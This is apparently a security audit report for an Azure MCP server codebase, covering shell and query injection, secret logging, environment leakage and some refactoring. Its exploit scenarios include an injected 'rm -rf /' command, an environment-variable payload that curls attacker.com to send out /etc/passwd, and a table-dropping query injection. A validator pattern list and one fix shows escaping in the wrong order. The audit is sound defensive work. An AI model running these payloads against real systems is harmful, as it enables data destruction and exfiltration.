# Security Audit & Modularity Analysis Report
**Azure MCP Server - Critical Findings**
Generated: 2025-12-21
Severity Levels: 🔴 CRITICAL | 🟠 HIGH | 🟡 MEDIUM | 🔵 LOW
---
## 🔴 CRITICAL VULNERABILITIES
### 1. Command Injection via Unescaped Quotes
**Location:** `src/services/base-service.ts:21`
**Severity:** 🔴 CRITICAL
**CVSS Score:** 9.8 (Critical)
**Vulnerable Code:**
```typescript
.map(([k, v]) => `--${k} "${v}"`)
```
**Exploit Scenario:**
```typescript
// Attacker provides:
params = { key: '" && rm -rf / #' }
// Results in command:
az storage account list --key "" && rm -rf / #"
// Shell executes: DELETE EVERYTHING
```
**Impact:**
- Remote Code Execution (RCE)
- Full system compromise
- Data exfiltration
- Privilege escalation
**Fix Required:**
```typescript
// Proper escaping implementation
function escapeShellArg(arg: string): string {
// Windows: escape quotes and backslashes
if (process.platform === 'win32') {
return arg.replace(/"/g, '\\"').replace(/\\/g, '\\\\');
}
// Unix: single quotes prevent all expansion
return arg.replace(/'/g, "'\\''");
}
.map(([k, v]) => `--${k} ${escapeShellArg(v)}`)
```
---
### 2. Command Injection in Scope Args
**Location:** `src/lib/config.ts:71-72`
**Severity:** 🔴 CRITICAL
**CVSS Score:** 9.1 (Critical)
**Vulnerable Code:**
```typescript
if (config.azureTenantId) args.push(`--tenant "${config.azureTenantId}"`);
if (config.azureSubscriptionId) args.push(`--subscription "${config.azureSubscriptionId}"`);
```
**Exploit Scenario:**
```bash
export AZURE_TENANT_ID='" --output none; curl attacker.com/exfil?data=$(cat /etc/passwd) #'
```
**Impact:**
- Environment variable poisoning
- Data exfiltration via DNS/HTTP
- Command injection in all Azure CLI calls
**Fix Required:**
```typescript
function escapeShellArg(arg: string): string {
if (process.platform === 'win32') {
// Windows cmd.exe escaping
return `"${arg.replace(/"/g, '""')}"`;
}
// POSIX shell escaping - single quotes prevent all substitution
return `'${arg.replace(/'/g, "'\\''")}'`;
}
export function getAzureScopeArgs(): string[] {
const config = getConfig();
const args: string[] = [];
if (config.azureTenantId) args.push(`--tenant ${escapeShellArg(config.azureTenantId)}`);
if (config.azureSubscriptionId) args.push(`--subscription ${escapeShellArg(config.azureSubscriptionId)}`);
return args;
}
```
---
### 3. SQL/NoSQL Injection in Query Services
**Location:** `src/tools/service-tool.ts:62, 76, 92, 100, 137`
**Severity:** 🔴 CRITICAL
**CVSS Score:** 8.9 (High)
**Vulnerable Services:**
- Cosmos DB queries (line 62)
- Search queries (line 76)
- Kusto KQL queries (line 92)
- Monitor log queries (line 100)
- PostgreSQL queries (line 137)
**Exploit Example (Kusto):**
```typescript
// Attacker provides:
params = {
query: 'TableName | where 1==1; drop table Users; //--'
}
```
**Impact:**
- Data deletion
- Unauthorized data access
- Schema manipulation
- DoS via expensive queries
**Fix Required:**
```typescript
// Create query validators
import { validateKustoQuery } from '../lib/query-validators.js';
handlers.set('query', async p => {
const validation = validateKustoQuery(p.query);
if (!validation.isValid) {
throw new Error(`Invalid query: ${validation.error}`);
}
return svc.runKql(p.clusterName, p.resourceGroup, p.databaseName, validation.sanitized);
});
```
---
## 🟠 HIGH SEVERITY VULNERABILITIES
### 4. Sensitive Data Logging
**Location:** `src/lib/logger.ts:57-59`, `src/lib/audit.ts:42-49`
**Severity:** 🟠 HIGH
**CVSS Score:** 7.5 (High)
**Issue:**
Commands containing secrets are logged in plaintext:
```typescript
// Logged command may contain:
"az keyvault secret set --vault-name myvault --name apikey --value sk_live_123abc"
// ^^^ API key logged to stderr and audit.log
```
**Impact:**
- Credential leakage in logs
- Compliance violations (PCI-DSS, GDPR, HIPAA)
- Insider threats
**Fix Required:**
```typescript
function redactSensitiveData(command: string): string {
const patterns = [
/(--(password|secret|key|token|credential|connection-string)\s+)([^\s]+)/gi,
/(--value\s+)(sk_[a-zA-Z0-9]+)/gi, // API keys
/(AccountKey=)([^;]+)/gi, // Connection strings
];
let redacted = command;
for (const pattern of patterns) {
redacted = redacted.replace(pattern, '$1***REDACTED***');
}
return redacted;
}
logger.command('execute', redactSensitiveData(cmd), 'success', { correlationId });
```
---
### 5. Environment Variable Leakage
**Location:** `src/lib/cli-executor.ts:33`
**Severity:** 🟠 HIGH
**CVSS Score:** 7.2 (High)
**Vulnerable Code:**
```typescript
env: { ...process.env, ...options.env },
```
**Issue:**
All environment variables (including secrets) are passed to child process.
**Leaked Variables May Include:**
- `AWS_SECRET_ACCESS_KEY`
- `GITHUB_TOKEN`
- `DATABASE_PASSWORD`
- Any env var on the system
**Fix Required:**
```typescript
// Allowlist approach
const SAFE_ENV_VARS = new Set([
'PATH', 'HOME', 'USER', 'SHELL', 'LANG', 'AZURE_CONFIG_DIR',
'AZURE_TENANT_ID', 'AZURE_SUBSCRIPTION_ID'
]);
function getSafeEnv(): Record<string, string> {
const safeEnv: Record<string, string> = {};
for (const [key, value] of Object.entries(process.env)) {
if (SAFE_ENV_VARS.has(key) && value) {
safeEnv[key] = value;
}
}
return safeEnv;
}
env: { ...getSafeEnv(), ...options.env },
```
---
### 6. Token Exposure via getAccessToken
**Location:** `src/lib/auth.ts:63-70`
**Severity:** 🟠 HIGH
**CVSS Score:** 7.1 (High)
**Issue:**
Raw Azure AD tokens returned without restrictions.
**Impact:**
- Token theft if logged or transmitted insecurely
- No scope validation
- No expiry tracking
**Fix Required:**
```typescript
export interface SecureToken {
token: string;
expiresOn: number;
scopes: string[];
}
export async function getAccessToken(scope: string = 'https://management.azure.com/.default'): Promise<SecureToken | null> {
try {
const credential = getCredential();
const tokenResponse = await credential.getToken(scope);
if (!tokenResponse) return null;
// NEVER log the token
logger.info('Access token acquired', {
scope,
expiresOn: tokenResponse.expiresOnTimestamp,
tokenLength: tokenResponse.token.length // Log length, not value
});
return {
token: tokenResponse.token,
expiresOn: tokenResponse.expiresOnTimestamp,
scopes: [scope]
};
} catch (error) {
logger.warn('Token acquisition failed', { scope });
return null;
}
}
```
---
## 🟡 MEDIUM SEVERITY ISSUES
### 7. Insufficient Input Validation
**Location:** `src/lib/safety.ts:14-21`
**Severity:** 🟡 MEDIUM
**Missing Validations:**
- Escaped quote detection: `\"`
- Unicode normalization attacks
- Path traversal in file parameters
- Regex DoS in pattern matching
**Fix Required:**
```typescript
const INJECTION_PATTERNS = new Map<RegExp, string>([
[/[;&|`$]/, 'Command chaining detected'],
[/\$\(.*\)/, 'Command substitution detected'],
[/`.*`/, 'Backtick substitution detected'],
[/\\["']/, 'Escaped quote detected'], // NEW
[/\.\.\//, 'Path traversal detected'], // NEW
[/>\s*\//, 'Redirect to root path detected'],
[/\|\s*(?:sh|bash|cmd|powershell)/i, 'Pipe to shell detected'],
[/(?:^|\s)(?:rm|del|format|shutdown|reboot)\s/i, 'Dangerous system command'],
[/\x00/, 'Null byte injection'], // NEW
]);
```
---
### 8. No Rate Limiting
**Location:** `src/lib/cli-executor.ts`
**Severity:** 🟡 MEDIUM
**Issue:**
No throttling mechanism to prevent:
- Brute force attacks
- Resource exhaustion
- Azure API quota exhaustion
**Fix Required:**
```typescript
import rateLimit from 'express-rate-limit';
class CommandRateLimiter {
private commandCounts = new Map<string, number[]>();
private maxPerMinute = 60;
async checkLimit(correlationId: string): Promise<boolean> {
const now = Date.now();
const counts = this.commandCounts.get(correlationId) || [];
// Remove timestamps older than 1 minute
const recentCounts = counts.filter(t => now - t < 60000);
if (recentCounts.length >= this.maxPerMinute) {
logger.warn('Rate limit exceeded', { correlationId });
return false;
}
recentCounts.push(now);
this.commandCounts.set(correlationId, recentCounts);
return true;
}
}
```
---
## 🔵 MODULARITY ISSUES
### 9. Code Duplication - Service Handlers
**Location:** `src/tools/service-tool.ts:43-142`
**Severity:** 🔵 LOW (Technical Debt)
**Issue:**
100 lines of repetitive switch-case with identical patterns.
**Current Code:**
```typescript
switch (serviceType) {
case 'storage': {
const svc = getService<StorageService>('storage');
handlers.set('list', p => svc.list(p.resourceGroup));
// ... 5 more handlers
break;
}
case 'cosmos': {
const svc = getService<CosmosService>('cosmos');
handlers.set('list', p => svc.list(p.resourceGroup));
// ... 5 more handlers
break;
}
// ... 6 more services
}
```
**Refactored Solution:**
```typescript
// Define service action mappings declaratively
interface ActionConfig {
method: string;
params: string[];
validator?: (p: Record<string, string>) => void;
}
const SERVICE_ACTIONS: Record<ServiceType, Record<string, ActionConfig>> = {
storage: {
list: { method: 'list', params: ['resourceGroup?'] },
listContainers: { method: 'listContainers', params: ['accountName'] },
// ...
},
cosmos: {
list: { method: 'list', params: ['resourceGroup?'] },
// ...
},
};
function getActionHandlers(serviceType: ServiceType): Map<string, ActionHandler> {
const handlers = new Map<string, ActionHandler>();
const service = getService(serviceType);
const actions = SERVICE_ACTIONS[serviceType];
for (const [actionName, config] of Object.entries(actions)) {
handlers.set(actionName, async (params) => {
// Validate required params
for (const param of config.params) {
if (!param.endsWith('?') && !params[param]) {
throw new Error(`Missing required parameter: ${param}`);
}
}
// Call service method dynamically
const method = service[config.method as keyof typeof service];
if (typeof method !== 'function') {
throw new Error(`Invalid method: ${config.method}`);
}
return method.apply(service, config.params.map(p => params[p.replace('?', '')]));
});
}
return handlers;
}
```
---
### 10. Duplicate Cache Pattern
**Location:** All services
**Severity:** 🔵 LOW
**Issue:**
Every service repeats this pattern:
```typescript
async list(resourceGroup?: string): Promise<ServiceResult<T[]>> {
const cacheKey = CacheKeys.service('storage', 'accounts', resourceGroup ?? '');
return this.cachedExecute(cacheKey, async () => {
// ... implementation
});
}
```
**Refactored Solution:**
```typescript
// Decorator approach
function Cached(keyFactory: (...args: any[]) => string) {
return function (target: any, propertyKey: string, descriptor: PropertyDescriptor) {
const originalMethod = descriptor.value;
descriptor.value = async function (...args: any[]) {
const cacheKey = keyFactory(...args);
return this.cachedExecute(cacheKey, () => originalMethod.apply(this, args));
};
return descriptor;
};
}
// Usage:
class StorageService extends AzureService {
@Cached((rg) => CacheKeys.service('storage', 'accounts', rg ?? ''))
async list(resourceGroup?: string): Promise<ServiceResult<StorageAccount[]>> {
const opts: Record<string, string> = {};
if (resourceGroup) opts['resource-group'] = resourceGroup;
const result = await this.execute('account list', opts);
return this.toResult<StorageAccount[]>(result);
}
}
```
---
### 11. No Parameter Validation Layer
**Location:** `src/tools/service-tool.ts:145-212`
**Severity:** 🔵 LOW
**Issue:**
Parameter validation scattered across handlers with inconsistent patterns.
**Refactored Solution:**
```typescript
// src/lib/validators.ts
export class ParameterValidator {
private schema: z.ZodSchema;
constructor(schema: z.ZodSchema) {
this.schema = schema;
}
validate(params: Record<string, string>): { isValid: boolean; error?: string; data?: any } {
const result = this.schema.safeParse(params);
if (!result.success) {
return {
isValid: false,
error: result.error.errors.map(e => `${e.path.join('.')}: ${e.message}`).join(', ')
};
}
return { isValid: true, data: result.data };
}
}
// Define schemas for each action
const StorageListSchema = z.object({
resourceGroup: z.string().optional(),
});
const StorageListContainersSchema = z.object({
accountName: z.string().min(3).max(24).regex(/^[a-z0-9]+$/),
});
// Use in handlers
handlers.set('list', async (params) => {
const validator = new ParameterValidator(StorageListSchema);
const validation = validator.validate(params);
if (!validation.isValid) {
throw new Error(validation.error);
}
return svc.list(validation.data.resourceGroup);
});
```
---
### 12. Tight Coupling - No Interfaces
**Location:** `src/services/`
**Severity:** 🔵 LOW
**Issue:**
Services inherit from abstract class but don't implement interfaces, making testing difficult.
**Refactored Solution:**
```typescript
// src/services/interfaces.ts
export interface IAzureService {
readonly serviceName: string;
readonly cliPrefix: string;
list(resourceGroup?: string): Promise<ServiceResult>;
}
export interface IStorageService extends IAzureService {
listContainers(accountName: string): Promise<ServiceResult<Container[]>>;
listBlobs(accountName: string, containerName: string): Promise<ServiceResult<Blob[]>>;
// ...
}
// Implement interface
export class StorageService extends AzureService implements IStorageService {
// ... implementation
}
// Mock for testing
export class MockStorageService implements IStorageService {
readonly serviceName = 'Storage';
readonly cliPrefix = 'storage';
async list(resourceGroup?: string): Promise<ServiceResult> {
return { success: true, data: [] };
}
// ...
}
```
---
## SUMMARY
### Vulnerability Breakdown
- 🔴 **Critical:** 3 vulnerabilities (Command Injection x2, SQL Injection)
- 🟠 **High:** 3 vulnerabilities (Logging, Env Leakage, Token Exposure)
- 🟡 **Medium:** 2 issues (Validation, Rate Limiting)
- 🔵 **Low:** 4 modularity issues (Code duplication, tight coupling)
### Immediate Actions Required
1. **Deploy shell argument escaping** (Fix #1, #2)
2. **Implement query validation** (Fix #3)
3. **Add sensitive data redaction** (Fix #4)
4. **Restrict environment variables** (Fix #5)
5. **Secure token handling** (Fix #6)
### Recommended Refactoring Priority
1. Extract shell escaping utility (HIGH)
2. Create query validator module (HIGH)
3. Implement log redaction (HIGH)
4. Refactor service handlers (MEDIUM)
5. Add parameter validation layer (MEDIUM)
6. Create service interfaces (LOW)
---
**Next Steps:** See `IMPLEMENTATION_PLAN.md` for detailed fix implementation.
